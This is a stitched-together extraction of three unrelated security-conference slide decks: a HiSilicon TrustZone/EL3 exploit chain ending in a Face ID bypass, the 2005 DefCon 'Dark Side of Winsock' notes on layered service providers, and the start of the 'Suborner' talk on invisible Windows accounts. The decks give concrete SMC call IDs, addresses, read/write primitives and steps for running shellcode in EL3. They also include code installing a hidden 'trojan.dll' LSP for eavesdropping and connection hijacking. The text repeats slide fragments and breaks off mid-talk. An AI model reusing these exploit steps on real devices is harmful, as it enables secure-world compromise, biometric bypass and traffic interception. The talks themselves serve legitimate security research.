0x209E1000 static int hisi_rpmb_device_init(void) { ...skip... bl31_smem_base = HISI_SUB_RESERVED_BL31_SHARE_MEM_PHYMEM_BASE; rpmb_request_phy = bl31_smem_base + data[0]; atfd_hisi_rpmb_smc(RPMB_SVC_REQUEST_ADDR, rpmb_request_phy, rpmb_support_device, 0); ...skip... } ✤ Search for SMC usages int atfd_hisi_rpmb_smc(u64 function_id, u64 arg0, u64 arg1, u64 arg2) { asm volatile( __asmeq("%0", "x0") __asmeq("%1", "x1") __asmeq("%2", "x2") __asmeq("%3", "x3") "smc #0\n" : "+r" (function_id) : "r" (arg0), "r" (arg1), "r" (arg2)); return (int)function_id; } EL1 Kernel as a Start Point ✤ Looking for smc usages #define RPMB_SVC_REQUEST_ADDR 0xC600FF04 #define HISI_SUB_RESERVED_BL31_SHARE_MEM_PHYMEM_BASE 0x209E1000 static int hisi_rpmb_device_init(void) { ...skip... bl31_smem_base = HISI_SUB_RESERVED_BL31_SHARE_MEM_PHYMEM_BASE; rpmb_request_phy = bl31_smem_base + data[0]; atfd_hisi_rpmb_smc(RPMB_SVC_REQUEST_ADDR, rpmb_request_phy, rpmb_support_device, 0); ...skip... } EL1 Kernel as a Start Point 0xC600FF04 Handler 0xC600FF04 Handler if (x0 == 0xC600FF04) { if ((rpmb_request_phy = x1) != 0x209E9000) { NOTICE(“sync kernel and bl31 for a same memory space failed\n”); goto err; } } 0xC600FF04 Handler 0xC600FF06 Handler if ( x0 == 0xC600FF06 ) { v31 = rpmb_request_phy + 0x6000; if ( a2 ) { NOTICE("rpmb error: the result from kernel is error,%lx\n", a2); v32 = *(v31 + 0xC38); v33 = x1; if ( !v32) return NOTICE("rpmb request callback function is NULL\n"); return v32(v33); } } 0xC600FF06 Handler if ( x0 == 0xC600FF06 ) { v31 = rpmb_request_phy + 0x6000; if ( a2 ) { NOTICE("rpmb error: the result from kernel is error,%lx\n", a2); v32 = *(v31 + 0xC38); v33 = x1; if ( !v32) return NOTICE("rpmb request callback function is NULL\n"); return v32(v33); } } 0xC600FF06 Handler if ( x0 == 0xC600FF06 ) { v31 = rpmb_request_phy + 0x6000; if ( a2 ) { NOTICE("rpmb error: the result from kernel is error,%lx\n", a2); v32 = *(v31 + 0xC38); v33 = x1; if ( !v32) return NOTICE("rpmb request callback function is NULL\n"); return v32(v33); //Both PC and x0 are controlled !!! } } 0xC600FF04 Handler History if (x0 == 0xC600FF04) { rpmb_request_phy = x1; } ~2018.3 Ancient 0xC600FF04 Handler History if (x0 == 0xC600FF04) { if ((rpmb_request_phy = x1) != 0x209E9000) { ... } } ~2018.3 ~2018.7 Ancient 2018.5 0xC600FF04 Handler History if (x0 == 0xC600FF04) { if (x1 != 0x209E9000) { ... } } ~2018.3 ~2018.7 Ancient Contemporary 0xC600FF06 Handler History if ( x0 == 0xC600FF06 ) { v31 = rpmb_request_phy + 0x6000; if ( a2 ) { NOTICE("rpmb error: the result from kernel is error,%lx\n", a2); v32 = *(v31 + 0xC38); v33 = x1; if ( !v32) return NOTICE("rpmb request callback function is NULL\n"); return v32(v33); } } ~2018.7 Ancient 0xC600FF06 Handler History if ( x0 == 0xC600FF06 ) { v31 = rpmb_request_phy + 0x6000; //0x209E0000 is accessible to EL1 if ( a2 ) { NOTICE("rpmb error: the result from kernel is error,%lx\n", a2); v32 = *(v31 + 0xC38); v33 = x1; if ( !v32) return NOTICE("rpmb request callback function is NULL\n"); return v32(v33); } } ~2018.7 Ancient 0xC600FF06 Handler History if ( x0 == 0xC600FF06 ) { v31 = callback_vtable; //inaccessible to EL1 if ( a2 ) { NOTICE("rpmb error: the result from kernel is error,%lx\n", a2); v32 = *(v31); v33 = x1; if ( !v32) return NOTICE("rpmb request callback function is NULL\n"); return v32(v33); } } Contemporary ~2018.7 Ancient Control the PC and X0 ✤ Kernel module as smc wrapper ✤ insmod exploit.ko ✤ smc(0xC600FF04, func_pa) ✤ smc(0xC600FF06, param) Control the PC and X0 ✤ Kernel module as smc wrapper ✤ insmod exploit.ko ✤ Tamper [0x209E9000 + 0x6C38] ✤ smc(0xC600FF06, param) Execute Shellcode in EL3 x0 = controlled x1 = 0x209xxxxx x2 = 0x1FExxxxx SCTLR_EL3.WXN No ASLR No CFI 0xC600FF06 Handler Write Primitive - Step 1 global_addr = controlled global_len = 0x209xxxxx x0 = controlled x1 = 0x209xxxxx x2 = 0x1FExxxxx Write Primitive - Step 2 global_addr = controlled, global_len = 0x209xxxxx, x0 = controlled, x2 = 0x1FExxxxx x0 = controlled, x2 = 0x1FExxxxx Write Primitive - Step 2 global_addr = controlled, global_len = 0x209xxxxx, x0 = controlled, x2 = 0x1FExxxxx Write Primitive - Step 2 global_addr = controlled, global_len = 0x209xxxxx, x0 = controlled, x2 = 0x1FExxxxx Write Primitive - Step 2 global_addr = controlled, global_len = 0x209xxxxx, Write Primitive - flawed global_addr = controlled, global_len = 0x209xxxxx, x0 = controlled, x2 = 0x1FExxxxx Write Primitive - flawed global_addr = controlled, global_len = 0x209xxxxx, x0 = controlled, x2 = 0x1FExxxxx R & W Primitives VTABLE ptr_function ptr_function ptr_function ptr_function R & W Primitives VTABLE read gadget ptr_function Corrupted ptr_function R & W Primitives xxx_handler(x0, x1, x2, x3) return ptr_func(x2, x3); Kernel Module smc eret R & W Primitives R & W Primitives R & W Primitives ✤ Memory Read ✤ smc(0xC500AA01, addr - 0x18, 0, 0x55BBCCE0 + 1); R & W Primitives ✤ Memory Read ✤ smc(0xC500AA01, addr - 0x18, 0, 0x55BBCCE0 + 1); ✤ Memory Write ✤ smc(0xC500AA01, addr - 8, value, 0x55BBCCE0 + 2); EL3 Memory Layout Start End Usage Permission 0x16800000 0x1CE00000 FASTBOOT R | W 0x1CE00000 0x1FE00000 Trusted Core R | W 0x1FE00000 0x1FE2A000 ATF CODE R | E 0x1FE2A000 0x20000000 ATF DATA R | W 0x209E1000 0x209F8000 Shared Memory R | W 0x5A000000 0xFFFDF000 MMIO R | W EL3 Memory Layout Start End Usage Permission 0x16800000 0x1CE00000 FASTBOOT R | W 0x1CE00000 0x1FE00000 Trusted Core R | W 0x1FE00000 0x1FE2A000 ATF CODE R | E 0x1FE2A000 0x20000000 ATF DATA R | W 0x209E1000 0x209F8000 Shellcode R | W 0x5A000000 0xFFFDF000 MMIO R | W Page Table Page Descriptor 0x209F8627 Page Descriptor 0x209F8 627 000 Page Descriptor 627 0|1|1 0|0 0|1|0 0 1 1 1 nG AF SH[1:0] AP[2:1] NS AttrIndx[2:0] Page Descriptor Page Descriptor 627 0|1|1 0|0 0|1|0 0 1 1 1 nG AF SH[1:0] AP[2:1] NS AttrIndx[2:0] Page Descriptor 627 0|1|1 0|1 0|0|0 0 1 1 1 nG AF SH[1:0] AP[2:1] NS AttrIndx[2:0] Invalidate TLB Invalidate TLB Execute Shellcode ✤ Deploy Shellcode at 0x209F8000 ✤ Page Descriptior Modification: 0x209F8627 => 0x209F8783 ✤ TLBI ALLEL3 ✤ Invoke 0x209F8000 We are in EL3 ✤ Do whatever you want ✤ Check all those encrypted modules ✤ Modify and debug every peripheral ✤ Nothing is hidden from you anymore Face ID Bypass Become a Faceless Man EL3 Memory Layout Start End Usage Permission 0x16800000 0x1CE00000 FASTBOOT R | W 0x1CE00000 0x1FE00000 Trusted Core R | W 0x1FE00000 0x1FE2A000 ATF CODE R | E 0x1FE2A000 0x20000000 ATF DATA R | W 0x209E1000 0x209F8000 Shellcode R | W 0x5A000000 0xFFFDF000 MMIO R | W Secure Task of Face ID Trusted Core Kernel globaltask task_keymaster task_gatekeeper /odm/ta/xxx.sec Normal World Secure World Secure Task of Face ID Trusted Core Kernel globaltask task_keymaster task_gatekeeper /odm/ta/xxx.sec Normal World Secure World Secure Task of Face ID Trusted Core Kernel globaltask task_keymaster task_gatekeeper task_xxx Normal World Secure World Secure Task of Face ID ✤ Dynamic Loaded Trusted Application ✤ /odm/ta/e8014913-e501-4d44-a9d6-058ec3b93b90.sec ✤ TEE_SERVICE_FACE_REC ✤ Search and extract it from physical memory Detection Logic of Face ID ✤ Calculate scores as results of image comparison ✤ secure task covers the entire logic ✤ Liveness detection ✤ Multiple methods (Both secure task and NS-EL0 are involved) Patch Matching Score Patch Matching Score svsprintf log messages to /dev/hisi_teelog Patch Liveness Result Patch Liveness Result Thank you @hhj4ck
pdf
The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 1 The Dark Side of Winsock By Jonathan Levin DefCon XIII, Las Vegas Http://www.securicy.net/Talks/dc-spi.pdf The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 2 Introduction & Nomenclature You probably already know this but… IP communications are implemented using the socket API. A socket is a transport endpoint, used to send/receive data. The application reads from/writes to the socket, much as it would to any other file descriptor The OS transparently fragments/encapsulates the data. This talk assumes you’ve seen sockets in action before. Be it in Stevens’ legendary tomes (TCP/IP Illustrated, UNIX Network Programming..) or elsewhere. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 3 Introduction & Nomenclature You probably already know this too, but… In UNIX, sockets follow the Berkeley (BSD) model closely Windows adapted the BSD socket API into WinSock: Winsock 1.x was a close adaptation of the BSD API Winsock 2.x added new features - Asynchronous calls & callbacks - Overlapped I/O - The layered service provider (LSP) architecture (more) The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 4 Introduction & Nomenclature However, not too many people know that… Winsock’s Layered Service Provider architecture provides powerful hooking functionality enabling interception, eavesdropping or rerouting of almost all IP based traffic in windows platforms. (more) This talk will focus on the LSP, presenting it’s useful (legitimate) applications, and even more useful (but less legitimate) ones. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 5 Winsock 2 Architecture Windows is designed in a scalable, multi-layered architecture: The Winsock 2 API provides the main The Winsock 2 API provides the main entry point for applications. The entry point for applications. The ““body body”” is responsible for multiplexing sockets. is responsible for multiplexing sockets. The Transport Driver Interface (TDI) bridges The Transport Driver Interface (TDI) bridges calls to the levels below calls to the levels below The Network Driver Interface Specification The Network Driver Interface Specification (NDIS) serves to abstract the hardware, so (NDIS) serves to abstract the hardware, so Multiple or different interfaces may be used Multiple or different interfaces may be used simultaneously. simultaneously. NetBT TDI NDIS Hardware W K S S R V Winsock 2 API NetBT (The NetBIOS over TCP/IP interface) is “reserved”, and is used by windows’ Workstation and Server services (file and print sharing) to bypass “traditional” winsock calls (and is out of our scope anyway). All other (user mode) applications use winsock to communicate over the network. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 6 NetBT TDI NDIS Hardware W K S S R V Winsock 2 API Winsock 2 Architecture Transport SPI NameSpace SPI WSock2_32.DLL Winsock 2 API Winsock 2 SPI Base Prov n Base Prov 1 Prov n Prov … … While exporting the API, Winsock itself is a client of the SPI , or service provider interface, exported to it by the miscellaneous service providers installed below it. Providers may be Providers may be classified as either: classified as either: --TRANSPORT TRANSPORT -- NAMESPACE NAMESPACE The Winsock DLL itself serves as a multiplexer for two types of providers: - Transport Providers: Protocol stacks, that setup connections, and transfer data on the network, possibly supplying features such as QoS, error handling, etc. Windows 2000 ships with two transports: rsvpsp.dll – implementing RSVP QoS mswsock.dll – implementing the Winsock core. The provider is chosen upon socket creation, by the parameters to the Socket() (or WSASocket()) call. - NameSpace Providers: Naming services – suppliers of name resolution mechanisms (e.g. implementations of getXXXbyYYY functions). Winsock 2000 supports the TCP/IP, NT DS and NLA namespaces. There can be more than one provider of any type. Winsock accesses the providers by their interface, which is the Service Provider Interface, or SPI. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 7 Winsock 2 Architecture Export Goods (ws2_32.dll) Winsock provides a potent API for installing custom providers, both namespace and transport. In ws2spi.h: int WSPAPI WSCInstallProvider( IN LPGUID lpProviderId, IN const WCHAR FAR * lpszProviderDllPath, IN const LPWSAPROTOCOL_INFOW lpProtocolInfoList, IN DWORD dwNumberOfEntries, OUT LPINT lpErrno ); int WSPAPI WSCDeinstallProvider( IN LPGUID lpProviderId, OUT LPINT lpErrno ); The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 8 And the namespace ones: INT WSPAPI WSCInstallNameSpace ( IN LPWSTR lpszIdentifier, IN LPWSTR lpszPathName, IN DWORD dwNameSpace, IN DWORD dwVersion, IN LPGUID lpProviderId ); INT WSPAPI WSCUnInstallNameSpace ( IN LPGUID lpProviderId ); The different header definitions (int vs. INT, and “Deinstall” vs. “Uninstall”) are like that in the original ws2spi.h. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 9 Winsock 2 Providers sporder.exe The sporder DLL and EXE, from the platform SDK, enable enumeration of the various providers. The above is a screen shot of the “SPOrder.EXE”, provided as part of the platform SDK. This small utility displays the service providers registered under winsock. Note both classes – “Service Providers” (i.e. Transport Service Providers) and “Name Resolution” (Namespace Service Providers). Note each provider structure is quite detailed. The one shown here is for the AF_INET (0x02) address family protocol # 0x06 – better known as TCP. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 10 Sporder.dll SPOrder.dll is a small DLL with insidious capabilities – it allows the reordering of service providers, by exporting two functions: WSCWriteNameSpaceOrder, and WSCWriteProviderOrder. And, as one can deduce by the names – these rewrite the order of the layered service providers – namespace and transport, respectively. A further look at the import table sheds some light as to how that’s done – using the familiar ADVAPI32.DLL registry functions. One needn’t look hard to understand how to use these functions - These functions are part of the Platform SDK, and are defined in sporder.h: int WSPAPI WSCWriteProviderOrder ( IN LPDWORD lpwdCatalogEntryId, IN DWORD dwNumberOfEntries ); int WSPAPI WSCWriteNameSpaceOrder ( IN LPGUID lpProviderId, IN DWORD dwNumberOfEntries ); The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 11 Winsock 2 Providers Transport providers may be enhanced by LAYERING additional providers, and chaining them. The base service provider still handles the actual implementation (i.e. sending data, etc.) but layered SPs may be used for QoS, encryption, security, etc. So long as all providers in a chain support SPI , any number of providers may be chained. Transport SPI NameSpace SPI WSock2_32.DLL Winsock 2 API Winsock 2 SPI LSP Base Prov 1 Prov n Prov … … Base Prov 1 SPI The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 12 Winsock 2 Providers Enumerating providers int WSPAPI WSCEnumProtocols ( IN LPINT lpiProtocols, OUT LPWSAPROTOCOL_INFOW lpProtocolBuffer, IN OUT LPDWORD lpdwBufferLength, OUT LPINT lpErrno ); Usage: Retrieve information about available transport protocols. Parameters: lpiProtocols – NULL term. Array of iProtocols to enum, or NULL. lpProtocolBuffer – buffer of WSAPROTOCOL_INFOW structs lpdwBufferLength – in/out parameter specifying sizeof.. lpErrNo – Out parameter, holding error code, if any. Returns: Number of enumerated protocols. ws2spi.h The following example demonstrates enumeration of the layered service providers, and the WSAPROTOCOL_INFOW structs. Essentially, this is a CLI version of sporder.exe from the platform SDK. Note: it gets the job done. It’s not an example of pretty or “right” coding. /** * Winsock 2 API Protocol Enumerator - By [email protected] * (Standards disclaimers apply) */ #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #define WINSOCK_API_LINKAGE #include <winsock2.h> #include <ws2spi.h> #include <wtypes.h> #include <assert.h> #include <winnt.h> #include <stdlib.h> #include <stdio.h> The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 13 char *ExpandServiceFlags(DWORD serviceFlags) { /* A little utility function to make sense of all those bit flags */ /* The following code leaks. Yeah, I know.. Go find Buffer 0v3rfl0w$ :-) */ char *serviceFlagsText = (char *) malloc (2048); memset (serviceFlagsText, '\0', 2048); char *strip_comma; /* Hey - it's only for printing and demo purposes.. */ if (serviceFlags & XP1_CONNECTIONLESS) { strcat (serviceFlagsText, "Connectionless, "); } if (serviceFlags & XP1_GUARANTEED_ORDER) { strcat (serviceFlagsText, "Guaranteed Order, "); } if (serviceFlags & XP1_GUARANTEED_DELIVERY) { strcat (serviceFlagsText, "Message Oriented, "); } if (serviceFlags & XP1_MESSAGE_ORIENTED) { strcat (serviceFlagsText, "Message Oriented, "); } if (serviceFlags & XP1_CONNECT_DATA ) { strcat (serviceFlagsText, "Connect Data, "); } if (serviceFlags & XP1_DISCONNECT_DATA ) { strcat (serviceFlagsText, "Disconnect Data, "); } if (serviceFlags & XP1_SUPPORT_BROADCAST ) { strcat (serviceFlagsText, "Broadcast Supported, "); } if (serviceFlags & XP1_EXPEDITED_DATA ) { strcat (serviceFlagsText, "Urgent Data, "); } if (serviceFlags & XP1_QOS_SUPPORTED ) { strcat (serviceFlagsText, "QoS supported, "); } /* * While we're quick and dirty, let's get as dirty as possible.. */ strip_comma = strrchr(serviceFlagsText,','); if (strip_comma) *strip_comma = '\0'; return (serviceFlagsText); } The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 14 void PrintProtocolInfo (LPWSAPROTOCOL_INFOW prot) { wprintf (L"Protocol Name: %s\n",prot->szProtocol); /* #%^@$! UNICODE...*/ printf ("\tServiceFlags1: %d (%s)\n", prot->dwServiceFlags1, ExpandServiceFlags(prot->dwServiceFlags1)); printf ("\tProvider Flags: %d\n",prot->dwProviderFlags); printf ("\tNetwork Byte Order: %s\n", (prot->iNetworkByteOrder == BIGENDIAN) ? "Big Endian" : "Little Endian"); printf ("\tVersion: %d\n", prot->iVersion); printf ("\tAddress Family: %d\n", prot->iAddressFamily); printf ("\tSocket Type: "); switch (prot->iSocketType) { case SOCK_STREAM: printf ("STREAM\n"); break; case SOCK_DGRAM: printf ("DGRAM\n"); break; case SOCK_RAW: printf ("RAW\n"); break; default: printf (" Some other type\n"); } printf ("\tProtocol: "); switch (prot->iProtocol) { case IPPROTO_TCP: printf ("TCP/IP\n"); break; case IPPROTO_UDP: printf ("UDP/IP\n"); break; default: printf ("some other protocol\n"); } } The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 15 And finally, the main: int _cdecl main( int argc, char** argv) { LPWSAPROTOCOL_INFOW bufProtocolInfo = NULL; DWORD dwSize = 0; INT dwError; INT iNumProt; /* * Enum Protocols - First, obtain size required */ printf("Sample program to enumerate Protocols\n"); WSCEnumProtocols(NULL, // lpiProtocols bufProtocolInfo, // lpProtocolBuffer & dwSize, // lpdwBufferLength & dwError); // lpErrno bufProtocolInfo = (LPWSAPROTOCOL_INFOW) malloc(dwSize); if (!bufProtocolInfo){ fprintf (stderr,"SHOOT! Can't MALLOC!!\n"); exit(1); } /* Now, Enum */ iNumProt = WSCEnumProtocols( NULL, // lpiProtocols bufProtocolInfo, // lpProtocolBuffer &dwSize, // lpdwBufferLength &dwError); if (SOCKET_ERROR == iNumProt) { fprintf(stderr,"Darn! Can't Enum!!\n"); exit(1); } printf("%d Protocols detected:\n", iNumProt); for (int i=0; i < iNumProt; i++) { PrintProtocolInfo(&bufProtocolInfo[i]); printf ("-------\n"); } printf("Done"); return(0); } The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 16 Winsock 2 Providers So you want to build your own LSP? int WSPStartup (IN WORD wVersionRequested, OUT LPWSPDATAW lpWSPData, IN LPWSAPROTOCOL_INFOW lpProtocolInfo, IN WSPUPCALLTABLE UpcallTable, OUT LPWSPPROC_TABLE lpProcTable ); Initialize layered service provider Usage: Parameters: wVersionRequested – q.v. WSAStartup. lpWSPData – layered service provider data, you should populate lpProtocolInfo – protocol details. Useful if hooking multiple protocols UpcallTable – dispatch table for winsock calls lpProcTable - our implemented calls. Returns: No error, hopefully.. Start by implementing WSPStartup() Implementing a Layered Service Provider isn’t as hard as it might seem. Basically, all it takes is to adhere to a set API, and manipulate some function pointers. Winsock Layered service providers are implemented as standard DLLs, exporting the WSPStartup() function: The WSPStartup() is expected to: - Set the Version info: (i.e. lpWSPData->wVersion = MAKEWORD(2,2); lpWSPData->wHighVersion = MAKEWORD(2,2); wcscpy(lpWSPData->szProtocol, L”My Name”); ) - Save the UpCallTable: for future use - Populate the lpProcTable to the addresses of the local WSP functions (e.g. - lpProcTable->lpWSPAccept = WSPAccept; lpProcTable->lpWSPConnect = WSPConnect; lpProcTable->lpWSPSend = WSPSend; …) - Return NO_ERROR The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 17 Winsock 2 Providers API->SPI Mapping Most Winsock2 API functions are mapped to corresponding SPI functions, with the simple rule of WSA* WSP*. Once a WSA* function is called, Winsock 2 will call the corresponding WSP function, from the provider chain, in order. ALL functionality can be hijacked – getpeerbyname, setsockopt.. AddresstoString, etc. Call Upcall table function to enable passthrough. Functions NOT implemented in the SPI: Event Handling Functions: WSACreateEvent, WSACloseEvent, WSASetEvent, WSAResetEvent WSAWaitForMultipleEvents Naming Services functions: GetXXXByYYY and their WSAAsync counterparts. ntohs, ntohl, htonl, htons inet_XtoY, inet_addr, ... As well as: WSAEnumProtocols – Enumerating service providers WSAIsBlocking, WSASetBlockingHook, WSAUnhookBlockingHook The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 18 Winsock 2 Providers Installing Providers Finally, call our old friend, WSCInstallProvider(): int WSPAPI WSCInstallProvider( IN LPGUID lpProviderId, IN const WCHAR FAR * lpszProviderDllPath, IN const LPWSAPROTOCOL_INFOW lpProtocolInfoList, IN DWORD dwNumberOfEntries, OUT LPINT lpErrno ); ws2spi.h Reorder using WSCWriteProviderOrder() Finally, when your service provider is done, install it by an external .exe, like so: INT InstallProvider(OUT PDWORD CatalogId) { WSAPROTOCOL_INFOW proto_info; int rc, errno; GUID someGUID = { 0x10241975, 0x0000, 0x0000, 0x0000, 0x1234567890 }; /* populate PROTOCOL_INFO */ memset(&proto_info , ‘\0’, sizeof(proto_info)); /* Tabula Rasa */ proto_info.dwProviderFlags = PFL_HIDDEN; /* :-) */ proto_info.ProviderId = someGUID; proto_info.ProtocolChain.ChainLen = LAYERED_PROTOCOL; proto_info.iAddressFamily = AF_INET; proto_info.iSocketType = SOCK_STREAM; proto_info.iProtocol = IPPROTO_TCP; proto_info.iMaxSockAddr = proto_info.iMinSockAddr = 16; proto_info.iNetworkByteOrder = BIGENDIAN; proto_info.iSecurityScheme=SECURITY_PROTOCOL_NONE; /* Security? THIS?! HA! */ wcscpy(proto_info.szProtocol, L”Incognito”); rc = WSCInstallProvider(&LayeredProviderGuid, L“trojan.dll", // lpszProviderDllPath &proto_info, // lpProtocolInfoList 1, // dwNumberOfEntries (1 too many..) &errno); // lpErrno /* Pass this back to our caller – for reordering.. */ *CatalogId = proto_info.dwCatalogEntryId; return(rc); } The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 19 Winsock 2 SPI Demo The demo shown is a nearly unmodified version of the INTC/MSFT source code provided in the platform SDK. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 20 Winsock 2 SPI The Security Issue No matter how you code your application – if you use Winsock, you’re subject to socket hijacking. Lessons to be learned: Whether you use server or client sockets, an attacker can intercept your calls and redirect your connections to where ever he (or she) pleases. The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 21 Winsock 2 SPI Good Vs. Bad Possible (lawful goody-goody) uses include: - Implement a user-mode application layer firewall (rather than work at TDI/NDIS, be socket-aware) - transparently add encryption to applications (but then, there’s IPSec) - Support new protocols (IPv9, anyone? (RFC1606) (for future use: RFC 1149?)) - Enforce QoS (s/Q/D) - Patch content on the fly (q.v. Google Desktop) (A double edged sword) The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 22 Winsock 2 SPI Let’s just stick with the BAD But the MUCH better (chaotic evil) uses include: - Obtain connection statistics, URLs, etc. (for spyware, statistical purposes, or whatever) - Eavesdropping (non SSL) connections (all socket based communication (inc. raw)) - Rerouting connections (i.e. socket hijacking) The Dark Side has never been so tempting before.. - Patch content on the fly (q.v. Google Desktop) (for obvious uses) The Dark Side of Winsock - Lecture Notes (C) 2005 Jonathan Levin, All Rights Reserved 23 The End… (or perhaps, the beginning?) Questions/Comments Welcome: [email protected]
pdf
S U B O R N E R A Windows Bribery for Invisible Persistence Sebastián Castro @r4wd3r R 4 W S E C . C O M Singapore August 25 - 26, 2022 R 4 W S E C . C O M  @r4wd3r S U B O R N E R W H O A M I Username r4wd3r Full User name Sebastián Castro Comment Infosec nerd, stuff breaker ~10y User’s comment Terrible at MS Paint :( First logon 1993/05/03 23:56 User profile Ph. D. CSE Student <at> UCSC PSO R&D Co-op <at> AMD Presenter <at> BlackHat, BSides, Derbycon, Romhack, SEC-T… R 4 W S E C . C O M  @r4wd3r S U B O R N E R I, Sebastian Castro, solely and exclusively own the property rights of the research “Suborner: A Windows Bribery for Invisible Persistence”. I hereby do not concede any property rights to my previous, current and future employers unless I voluntarily choose to transfer such property, in total, or in part. The opinions expressed here are my own and not necessarily those of my employers. D I S C L A I M E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C K N O W L E D G E M E N T This is only possible thanks to: ∙ Family and friends ∙ Research done before by great minds (Mimikatz, Impacket, etc.) ∙ Microsoft Team ∙ Stack Overflow & Infosec community. You all rock! R 4 W S E C . C O M  @r4wd3r S U B O R N E R A G E N D A Why? How? What’s next? What? Show me! R 4 W S E C . C O M  @r4wd3r S U B O R N E R A G E N D A Why? How? What’s next? What? Show me! R 4 W S E C . C O M  @r4wd3r S U B O R N E R how to create invisible user windows B A C K I N T H E D A Y . . . R 4 W S E C . C O M  @r4wd3r S U B O R N E R how to create invisible user windows I wasn’t lucky :( B A C K I N T H E D A Y . . . R 4 W S E C . C O M  @r4wd3r S U B O R N E R H O W A B O U T N O W ? R 4 W S E C . C O M  @r4wd3r S U B O R N E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R W H A T A B O U T A T T A C K E R S ? Identity Manipulation External Implants R 4 W S E C . C O M  @r4wd3r S U B O R N E R Reference: https://attack.mitre.org/ Account Manipulation Create Account Valid accounts 19 persistence techniques Identity Manipulation External Implants BITS Jobs Hijack Execution Flow Boot or Logon Autostart Execution Implant Internal Image Boot or Initialization Scripts Modify Authentication Process Browser Extensions Office Application Startup Compromise Client Software Binary Pre-OS Boot Create or Modify System Process Scheduled Task/Job Event Triggered Execution Server Software Components External Remote Services Traffic Signaling R 4 W S E C . C O M  @r4wd3r S U B O R N E R Reference: https://attack.mitre.org/ Account Manipulation Create Account Valid accounts 19 persistence techniques Identity Manipulation External Implants BITS Jobs Hijack Execution Flow Boot or Logon Autostart Execution Implant Internal Image Boot or Initialization Scripts Modify Authentication Process Browser Extensions Office Application Startup Compromise Client Software Binary Pre-OS Boot Create or Modify System Process Scheduled Task/Job Event Triggered Execution Server Software Components External Remote Services Traffic Signaling R 4 W S E C . C O M  @r4wd3r S U B O R N E R Reference: https://attack.mitre.org/ Account Manipulation Create Account Valid accounts 63 of the 85 unique procedures for persistence leverage Identity Manipulation Identity Manipulation R 4 W S E C . C O M  @r4wd3r S U B O R N E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R A G E N D A Why? How? What’s next? What? Show me! R 4 W S E C . C O M  @r4wd3r S U B O R N E R T H E S U B O R N E R W A Y Suborner is a new persistence attack to stealthily forge custom invisible accounts which can impersonate any identity on all Windows NT machines. R 4 W S E C . C O M  @r4wd3r S U B O R N E R T H E S U B O R N E R W A Y ∙ Only who created the suborner account will easily know the username and password ∙ After authenticated, the suborner account will impersonate any existent (enabled/disabled) account R 4 W S E C . C O M  @r4wd3r S U B O R N E R B R I B I N G W I N D O W S R 4 W S E C . C O M  @r4wd3r S U B O R N E R B R I B I N G W I N D O W S R 4 W S E C . C O M  @r4wd3r S U B O R N E R G E T T I N G U S A C C E S S R 4 W S E C . C O M  @r4wd3r S U B O R N E R G E T T I N G U S A C C E S S R 4 W S E C . C O M  @r4wd3r S U B O R N E R G E T T I N G U S A C C E S S R 4 W S E C . C O M  @r4wd3r S U B O R N E R W A I T A M I N U T E ! R 4 W S E C . C O M  @r4wd3r S U B O R N E R B E F O R E . . . Attacker Admin Victim  R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C C O U N T C R E A T I O N S C E N A R I O S ∙ Scenario 1: Add user ∙ Scenario 2: Add user with $ ∙ Scenario 3: Add machine account (netapi32) R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C C O U N T C R E A T I O N S C E N A R I O S ∙ Scenario 1: Add user ∙ Scenario 2: Add user with $ ∙ Scenario 3: Add machine account (netapi32) R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 1 : A D D U S E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 1 : A D D U S E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R 4720! S C E N A R I O # 1 : A D D U S E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 1 : A D D U S E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R DEL! S C E N A R I O # 1 : A D D U S E R R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C C O U N T C R E A T I O N S C E N A R I O S ∙ Scenario 1: Add user FAIL! ∙ Scenario 2: Add user with $ ∙ Scenario 3: Add machine account (netapi32) R 4 W S E C . C O M  @r4wd3r S U B O R N E R A C C O U N T C R E A T I O N S C E N A R I O S ∙ Scenario 1: Add user FAIL! ∙ Scenario 2: Add user with $ ∙ Scenario 3: Add machine account (netapi32) R 4 W S E C . C O M  @r4wd3r S U B O R N E R S C E N A R I O # 2 : A D D U S E R $ R 4 W S E C . C O M  